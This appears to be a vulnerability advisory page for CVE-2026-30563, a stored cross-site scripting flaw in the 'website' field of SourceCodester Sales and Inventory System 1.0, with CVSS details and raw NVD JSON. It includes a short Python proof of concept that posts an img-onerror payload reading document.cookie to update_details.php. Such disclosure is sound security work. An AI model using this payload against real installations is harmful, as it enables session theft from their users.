Security Vulnerability Report
中文
CVE-2026-30563 CVSS 6.1 MEDIUM

CVE-2026-30563

Published: 2026-03-30 15:16:26
Last Modified: 2026-04-01 17:46:28

Description

A Stored Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the update_details.php file. The application fails to sanitize the "website" parameter provided in a POST request. This allows authenticated attackers to inject arbitrary web script or HTML that is stored in the database and executed whenever the store details page is accessed.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Sales and Inventory System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable endpoint target_url = "http://target.com/path/to/update_details.php" # Malicious payload to be stored and executed later # Using an img tag with onerror is a common bypass for simple filters xss_payload = '"><img src=x onerror=alert(document.cookie)>' # Data payload simulating the POST request data = { "website": xss_payload, "store_name": "PoC Store", "address": "123 Security St" } try: # Send the POST request to inject the payload response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the store details page to verify the XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30563", "sourceIdentifier": "[email protected]", "published": "2026-03-30T15:16:26.460", "lastModified": "2026-04-01T17:46:28.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Stored Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the update_details.php file. The application fails to sanitize the \"website\" parameter provided in a POST request. This allows authenticated attackers to inject arbitrary web script or HTML that is stored in the database and executed whenever the store details page is accessed."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) almacenado existe en SourceCodester Sales and Inventory System 1.0. La vulnerabilidad se encuentra en el archivo update_details.php. La aplicación no logra sanear el parámetro 'website' proporcionado en una solicitud POST. Esto permite a atacantes autenticados inyectar scripts web o HTML arbitrarios que se almacenan en la base de datos y se ejecutan cada vez que se accede a la página de detalles de la tienda."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5A75B7A5-65D7-4AF9-BDE8-EBD496A4942B"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-UpdateDetails-website.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}